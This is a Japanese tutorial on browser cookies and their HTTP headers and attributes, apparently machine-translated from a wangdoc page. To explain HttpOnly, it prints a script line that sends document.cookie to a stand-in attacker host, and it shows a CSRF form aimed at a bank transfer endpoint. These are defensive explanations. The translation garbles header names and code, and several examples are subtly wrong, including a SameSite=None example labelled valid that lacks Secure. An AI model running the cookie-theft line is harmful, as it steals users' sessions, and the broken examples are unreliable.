クッキー
概要
Cookie はサーバーによってブラウザに保存される小さなテキスト情報であり、そのサイズは通常 4KB を超えることはできません。ブラウザがサーバーにリクエストを行うたびに、この情報が自動的に添付されます。
HTTP プロトコルにはステータスがありません。一部のリクエストではステータスを区別する必要があるため、サーバーがさまざまな応答を返せるように Cookie に文字列が付加されます。たとえば、ユーザーがログインした後、サーバーは多くの場合、ユーザー番号 (「id=1234」など) を記録するために Web サイトに Cookie を残します。将来、ブラウザーがサーバーにデータを要求するたびに、この文字列とサーバー これにより、誰がリクエストしているのか、どのコンテンツに応答する必要があるのかがわかります。
Cookie の目的は、ユーザーを識別し、ステータス情報を配置することです。その使用シナリオは主に次のとおりです。
- セッション管理: ログインステータス、ショッピングカート、その他記録が必要な情報を保存します。
- パーソナライズされた情報: Web ページのフォント サイズ、背景色などのユーザー設定を保存します。
- ユーザーの追跡: ユーザーの行動を記録して分析します。
Cookie は、クライアント側の保存メカニズムとしては理想的ではありません。容量が小さく (4KB)、データ操作インターフェイスが欠如しており、パフォーマンスに影響します。クライアント ストレージには Web ストレージ API と IndexedDB を使用することをお勧めします。リクエストごとにサーバーに認識させる必要がある情報のみを Cookie に配置する必要があります。
各 Cookie には次のメタデータがあります。
- クッキー名
- Cookieの値(実際のデータがここに書き込まれます) ・有効期限(この時間を過ぎると無効になります)
- ドメイン名 (デフォルトは現在のドメイン名)
- 有効なパス (デフォルトは現在の URL)
たとえば、ユーザーが URL「www.example.com」にアクセスすると、サーバーはブラウザに Cookie を書き込みます。この Cookie のドメイン名は「www.example.com」で、有効なパスはルート パス「/」です。
Cookie の有効なパスが「/forums」に設定されている場合、この Cookie は「www.example.com/forums」とそのサブパスにアクセスする場合にのみ有効です。将来的には、ブラウザが特定のパスにアクセスする前に、そのドメイン名とパスに対して有効で有効期限が切れていない Cookie を見つけて、それらをまとめてサーバーに送信するようになります。
ユーザーはブラウザが Cookie を受け入れないように設定したり、Cookie をサーバーに送信しないように設定したりできます。 window.navigator.cookieEnabled
プロパティは、ブラウザが Cookie 機能をオンにするかどうかを示すブール値を返します。
window.navigator.cookieEnabled // true
document.cookie
プロパティは、現在の Web ページの Cookie を返します。
document.cookie // "id=foo;key=bar"
ブラウザごとに Cookie の数とサイズに対する制限が異なります。一般に、1 つのドメイン名に設定できる Cookie は 30 個を超えてはならず、各 Cookie のサイズは 4KB を超えてはなりません。制限を超えると、Cookie は無視され、設定されなくなります。
Cookie はドメイン名によって区別されます。「foo.com」はそれ自体が配置した Cookie のみを読み取ることができますが、他の Web サイト (「bar.com」など) が配置した Cookie を読み取ることはできません。通常の状況では、第 1 レベルのドメイン名は、第 2 レベルのドメイン名によって残された Cookie を読み取ることができません。たとえば、「mydomain.com」は、「subdomain.mydomain.com」によって設定された Cookie を読み取ることができません。ただし、Cookie を設定する場合 (第 1 レベルのドメイン名で設定するか、第 2 レベルのドメイン名で設定するかに関係なく)、「domain」属性を第 1 レベルのドメイン名に明示的に設定すると例外があります。このドメイン名の下のドメイン名のレベルは、この Cookie を共有できます。
Set-Cookie: 名前=値; ドメイン=mydomain.com
上記の例では、Cookie を設定するときに「domain」属性が「mydomain.com」に設定され、すべてのレベルのサブドメイン名とファーストレベル ドメイン名がこの Cookie を読み取ることができます。
Cookie を区別する際には、プロトコルとポートは考慮されないことに注意してください。つまり、「http://example.com」で設定されたCookieは、「https://example.com」または「http://example.com:8080」で読み取ることができます。
Cookie と HTTP プロトコル
Cookie は HTTP プロトコルによって生成され、主に HTTP プロトコルによって使用されます。
HTTP 応答: Cookie の生成
サーバーがブラウザに Cookie を保存したい場合は、HTTP 応答のヘッダー情報に「Set-Cookie」フィールドを配置する必要があります。
Set-Cookie:foo=bar
上記のコードは、ブラウザーに foo
という名前の Cookie を保存します。その値は bar
です。
HTTP 応答には複数の「Set-Cookie」フィールドを含めることができます。これは、ブラウザーで複数の Cookie が生成されることを意味します。以下に例を示します。
HTTP/1.0 200 OK
コンテンツタイプ: テキスト/html
セットクッキー: yummy_cookie=choco
セットクッキー:tasty_cookie=strawberry
【ページ内容】
Cookie 値に加えて、「Set-Cookie」フィールドには Cookie 属性を付加することもできます。
Set-Cookie: <cookie-name>=<cookie-value>; 有効期限=<date>;
Set-Cookie: <cookie-name>=<cookie-value> Max-Age=<非ゼロ桁>;
Set-Cookie: <Cookie 名>=<Cookie 値> Domain=<ドメイン値>;
Set-Cookie: <cookie-name>=<cookie-value> パス=<path-value>;
Set-Cookie: <cookie-name>=<cookie-value>;
Set-Cookie: <cookie-name>=<cookie-value>;
上記属性の意味については後述する。
「Set-Cookie」フィールドには同時に複数の属性を含めることができ、順序の要件はありません。
Set-Cookie: <Cookie 名>=<Cookie 値>; ドメイン=<ドメイン値>;
以下に例を示します。
Set-Cookie: id=a3fWa; Expires=水曜日、2015 年 10 月 21 日 07:28:00 GMT;
サーバーが以前に設定された Cookie を変更したい場合は、Cookie の「キー」、「ドメイン」、「パス」、および「セキュア」がすべて一致するという 4 つの条件を同時に満たす必要があります。たとえば、元の Cookie が次のように Set-Cookie
を使用して設定されているとします。
セット-Cookie: キー1=値1; ドメイン=example.com;
上記の Cookie の値を変更するには、同じ Set-Cookie
を使用する必要があります。
セット-Cookie: キー1=値2; ドメイン=example.com;
1 つの属性が異なる限り、元の Cookie を置き換えるのではなく、新しい Cookie が生成されます。
セット-Cookie: キー1=値2; ドメイン=example.com;
上記のコマンドは、同じ名前の新しい Cookie を設定しますが、「path」属性は異なります。次回「example.com/blog」にアクセスすると、ブラウザは同じ名前の 2 つの Cookie をサーバーに送信します。
クッキー: キー1=値1; キー1=値2
上記のコード内の 2 つの Cookie は同じ名前を持ち、より正確に一致する Cookie が上位にランクされます。
HTTP リクエスト: Cookie の送信
ブラウザが HTTP リクエストをサーバーに送信すると、各リクエストによって対応する Cookie が送信されます。つまり、サーバーが先ほどブラウザーに保存した情報がサーバーに送り返されます。この場合、HTTP ヘッダーの Cookie
フィールドが使用されます。
クッキー: foo=bar
上記のコードは、「bar」という値を持つ「foo」という名前の Cookie をサーバーに送信します。
「Cookie」フィールドには、セミコロン (「;」) で区切って複数の Cookie を含めることができます。
クッキー: 名前=値; 名前3=値3;
以下に例を示します。
GET /sample_page.html HTTP/1.1
ホスト: www.example.org
クッキー: おいしいクッキー=チョコ;
サーバーがブラウザから Cookie を受信したときに、サーバーが知ることができないことが 2 つあります。
- 有効期限など、Cookie のさまざまなプロパティ。
- Cookie を設定するドメイン名は、第 1 レベルのドメイン名ですか、それとも第 2 レベルのドメイン名ですか?
クッキーのプロパティ
有効期限、最大有効期間
「Expires」属性は、特定の有効期限を指定します。指定された時間が経過すると、ブラウザはこの Cookie を保持しなくなります。その値は UTC 形式であり、Date.prototype.toUTCString()
を使用して変換できます。
Set-Cookie: id=a3fWa; 有効期限=2015 年 10 月 21 日水曜日 07:28:00 GMT;
この属性が設定されていないか、「null」に設定されている場合、Cookie は現在のセッションでのみ有効になり、ブラウザ ウィンドウが閉じて現在のセッションが終了すると、Cookie は削除されます。さらに、ブラウザは現地時間に基づいて Cookie の有効期限が切れるかどうかを判断します。現地時間は不正確であるため、サーバーが指定した時刻に Cookie が期限切れになることを保証する方法はありません。
「Max-Age」属性は、「60 * 60 * 24 * 365」(つまり 1 年)など、Cookie が存在するまでの秒数を指定します。この時間が経過すると、ブラウザはこの Cookie を保持しなくなります。
「Expires」と「Max-Age」を同時に指定した場合、「Max-Age」の値が先に有効になります。
「Set-Cookie」フィールドで「Expires」属性または「Max-Age」属性が指定されていない場合、この Cookie はセッション Cookie です。つまり、ユーザーがブラウザを閉じた後、このセッション内にのみ存在します。はこの Cookie を保持しなくなります。
ドメイン、パス
「Domain」属性は、Cookie がどのドメイン名に属するかを指定します。ブラウザは今後 HTTP リクエストをサーバーに送信するときに、この属性を使用して Cookie を添付するかどうかを決定します。
サーバーが Cookie を設定するときに、Domain 属性が指定されていない場合、ブラウザーはデフォルトでブラウザーの現在のドメイン名を使用します。現在のドメイン名が IP アドレスである場合は、Domain 属性を設定しないでください。
Domain 属性を指定する場合は、次の規則に従う必要があります。Domain 属性は、現在のドメイン名または現在のドメイン名の上位レベルのドメイン名のみにすることができますが、上位レベルのドメインに設定されている場合は、 name には、トップレベル ドメイン名またはパブリック ドメイン名を設定できません。 (トップレベル ドメイン名とは、.com や .net などのドメイン名を指します。また、パブリック ドメイン名とは、github.io など、サブドメイン名を設定するために外部ユーザーに公開されているドメイン名を指します。)条件を満たした場合、ブラウザはこの Cookie の設定を拒否します。
たとえば、現在のドメイン名が「x.y.z.com」の場合、ドメイン属性は「x.y.z.com」、「y.z.com」、または「z.com」に設定できますが、「foo.x.y.z」に設定することはできません。 com」、または「別の .domain.com」。
別の例としては、現在のドメイン名が「wangdoc.github.io」の場合、Domain 属性は「wangdoc.github.io」にのみ設定できますが、「github.io」には設定できません。後者はパブリック ドメインであるためです。名前。
ブラウザが Cookie を送信するとき、ドメイン属性は現在のドメイン名、または現在のドメイン名の上位レベルのドメイン名 (パブリック ドメイン名を除く) と一致している必要があります。たとえば、ドメイン属性が「y.z.com」の場合、「y.z.com」、「x.y.z.com」、「foo.x.y.z.com」およびその他のドメイン名に適用されます。別の例として、Domain 属性がパブリック ドメイン名 github.io
である場合、それはドメイン名 github.io
自体にのみ適用され、そのサブドメイン名 wangdoc.github.io
には適用されません。
「Path」属性は、ブラウザが HTTP リクエストを行うときに、この Cookie にどのパスを伴う必要があるかを指定します。ブラウザは、Path
属性が HTTP リクエスト パスの開始部分であることを検出している限り、この Cookie をヘッダー情報に含めます。たとえば、「Path」属性が「/」の場合、要求された「/docs」パスにも Cookie が含まれます。もちろん、Domain 属性が条件を満たしていることが前提です。
安全、HTTP のみ
「Secure」属性は、ブラウザがこの Cookie を暗号化プロトコル HTTPS でのみサーバーに送信できることを指定します。一方、現在のプロトコルが HTTP の場合、ブラウザはサーバーから送信された Secure
属性を自動的に無視します。このプロパティは単なるスイッチであり、値を指定する必要はありません。通信が HTTPS プロトコルの場合、このスイッチは自動的にオンになります。
HttpOnly
属性は、JavaScript スクリプトから Cookie を取得できないことを指定します。これは主に、document.cookie
属性、XMLHttpRequest
オブジェクト、およびリクエスト API がこの属性を取得できないためです。これにより、スクリプトによる Cookie の読み取りが防止され、ブラウザが HTTP リクエストを行った場合にのみ Cookie が取得されます。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie= + document.cookie;
上記は、サイト全体にロードされる悪意のあるスクリプトのコードで、現在の Web ページの Cookie をサードパーティのサーバーに送信できます。 Cookie の HttpOnly
属性が設定されている場合、上記のコードは Cookie を読み取りません。
同じサイト
Chrome 51 以降、ブラウザの Cookie には、CSRF 攻撃とユーザー追跡を防ぐための新しい「SameSite」属性が追加されました。
Cookie は、ユーザー ID 情報を保存するためによく使用されます。悪意のある Web サイトは、正しい Cookie を使用して HTTP リクエストを偽造しようとします。これは CSRF 攻撃です。たとえば、ユーザーが銀行の Web サイト「your-bank.com」にログインすると、銀行のサーバーが Cookie を送信します。
セットクッキー:id=a3fWa;
その後、ユーザーはフォームを含む悪意のある Web サイト「malicious.com」にアクセスしました。
<form action="your-bank.com/transfer" method="POST">
...
</form>
ユーザーがだまされてこのフォームを送信すると、銀行の Web サイトは正しい Cookie を含むリクエストを受信します。この種の攻撃を防ぐために、公式 Web サイトのフォームには通常、ランダム トークンが含まれています。公式 Web サイトのサーバーは、このランダム トークンを検証して、それが本物のリクエストであるかどうかを確認します。
<form action="your-bank.com/transfer" method="POST">
<input type="hidden" name="token" value="dad3weg34">
...
</form>
サードパーティの Web サイトから送信される Cookie は、サードパーティ Cookie と呼ばれます。 CSRF 攻撃に使用されるだけでなく、ユーザー追跡にも使用されます。たとえば、Facebook はサードパーティの Web サイトに非表示の画像を挿入します。
<img src="facebook.com" style="visibility:hidden;">
ブラウザが上記のコードを読み込むと、Cookie を含むリクエストが Facebook に送信され、Facebook はあなたが誰で、どの Web サイトにアクセスしたかを知ることができます。
Cookie の SameSite
属性はサードパーティ Cookie を制限するために使用され、それによってセキュリティ リスクが軽減されます。 3 つの値を設定できます。
-厳格な -緩い
- なし
(1)厳格
「Strict」は最も厳格で、クロスサイトの場合、いかなる状況でも Cookie が送信されません。つまり、現在の Web ページの URL がリクエストのターゲットと一致する場合にのみ、Cookie が取得されます。
セット Cookie: CookieName=CookieValue; SameSite=Strict;
このルールは厳しすぎるため、ユーザー エクスペリエンスが非常に低下する可能性があります。たとえば、現在の Web ページに GitHub リンクがある場合、ユーザーのクリックによるジャンプには GitHub の Cookie が含まれず、リダイレクトされたリンクは常に非ログイン状態になります。
(2)緩い
「Lax」ルールはわずかに緩和されており、ターゲット URL に移動する Get リクエストを除いて、ほとんどの場合、サードパーティ Cookie は送信されません。
セット-Cookie: CookieName=CookieValue; SameSite=Lax;
ターゲット URL に移動する GET リクエストには、リンク、プリロード リクエスト、GET フォームの 3 つの状況のみが含まれます。詳細については、以下の表を参照してください。
| リクエストタイプ | 緩いケース |
|----------|:------------------------------------- --- :|----------------:|---------------|
| リンク | <a href="..."></a>
| プリロード | <link rel="prerender" href="..."/>
| GET フォーム | <フォームメソッド="GET" アクション="...">
クッキーを送信 |
| POST フォーム | <フォームメソッド="POST" アクション="...">
送信しない |
| iframe | <iframe src="..."></iframe>
送信しない |
| $.get("...")
送信しない |
| 画像 | <img src="...">
送信しない |
「Strict」または「Lax」を設定すると、CSRF 攻撃は基本的に排除されます。もちろん、これはユーザーのブラウザが SameSite 属性をサポートしていることを前提としています。
(3)なし
Chrome は「Lax」をデフォルトにする予定です。現時点では、Web サイトは「SameSite」属性を明示的にオフにして「None」に設定することを選択できます。ただし、前提条件として、「Secure」属性が同時に設定されている必要があります (Cookie は HTTPS プロトコル経由でのみ送信できます)。それ以外の場合は無効になります。
以下の設定は無効です。
Cookie の設定: widget_session=abc123; SameSite=None
以下の設定が有効です。
Set-Cookie: widget_session=abc123; SameSite=None;
ドキュメント.クッキー
document.cookie
プロパティは、現在の Web ページの Cookie の読み取りと書き込みに使用されます。
読み取り時には、Cookie が HTTPOnly
属性を持つことができない場合、現在の Web ページのすべての Cookie が返されます。
document.cookie // "foo=bar;baz=bar"
上記のコードは、「document.cookie」からセミコロンで区切られた 2 つの Cookie を一度に読み取ります。各 Cookie の値を取得するには、手動で復元する必要があります。
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
console.log(cookie[i]);
}
// foo=バー
// バズ=バー
「document.cookie」プロパティは書き込み可能であり、現在の Web サイトに Cookie を追加できます。
document.cookie = 'fontSize=14';
書き込む際には、Cookie の値を「key=value」の形式で書き込む必要があります。等号の両側にスペースを入れることはできないことに注意してください。さらに、Cookie を記述するときは、セミコロン、カンマ、およびスペースをエスケープする必要があります (これらは Cookie 値として許可されません)。これは、encodeURIComponent
メソッドを使用して実現できます。
ただし、document.cookie
は一度に 1 つの Cookie にしか書き込めず、書き込みは上書きではなく追加されます。
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
ドキュメント.クッキー
// テスト1=こんにちは;テスト2=世界
「document.cookie」の読み取りおよび書き込み動作の違い (一度にすべての Cookie を読み取ることができますが、書き込むことができるのは 1 つの Cookie のみです) は、HTTP プロトコルの Cookie 通信形式に関連しています。ブラウザがサーバーに Cookie を送信する場合、「Cookie」フィールドは 1 行を使用してすべての Cookie を送信します。サーバーがブラウザに Cookie を設定する場合、「Set-Cookie」フィールドは 1 つの Cookie を設定するために 1 行を使用します。
Cookie を記述するときに、Cookie の属性を一緒に記述することができます。
document.cookie = "foo=bar;expires=金曜日、2020 年 12 月 31 日 23:59:59 GMT";
上記のコードでは、Cookie を書き込むときに、expires
属性も設定されます。属性値の等号の両側にスペースを含めることはできません。
各属性を記述する際の注意事項は以下のとおりです。
path
属性は絶対パスである必要があり、デフォルトは現在のパスです。- 「domain」属性の値は、現在 Cookie を送信しているドメイン名の一部である必要があります。たとえば、現在のドメイン名が「example.com」の場合、「foo.com」に設定することはできません。この属性のデフォルトは、現在の第 1 レベルのドメイン名 (第 2 レベルのドメイン名を除く) になります。このプロパティが明示的に設定されている場合、ドメイン名の任意のサブドメインでも Cookie を読み取ることができます。
max-age
属性の値は秒数です。expires
属性の値は UTC 形式であり、Date.prototype.toUTCString()
を使用して日付形式を変換できます。
Cookieへの「document.cookie」の記述例は以下のとおりです。
document.cookie = 'fontSize=14';
+ 'expires=' + someDate.toGMTString() + ';
+ 'パス=/サブディレクトリ'
+ 'ドメイン=example.com';
上記の「domain」属性は以前は「.example.com」として記述されており、新しい記述方法では前のドットを省略できることを示しています。
Cookie のプロパティが設定されると、これらのプロパティの値を読み取る方法はありません。
既存の Cookie を削除する唯一の方法は、その expires
属性を過去の日付に設定することです。
document.cookie = 'fontSize=;expires=1970 年 1 月 1 日木 00:00:01 GMT';
上記のコードでは、「fontSize」という名前の Cookie の値は空で、有効期限は 1970 年 1 月 1 日に設定されています。これは、Cookie を削除するのと同じです。
参考リンク
- HTTP Cookie、MDN 作成
- CSRF 攻撃を防ぐための同一サイト Cookie 属性の使用
- SameSite Cookie の説明
- Tough Cookies、スコット ヘルメ
- クロスサイト リクエスト フォージェリは死んだ!、Scott Helme
作者: wangdoc
アドレス: https://wangdoc.com/
ライセンス: クリエイティブ・コモンズ 3.0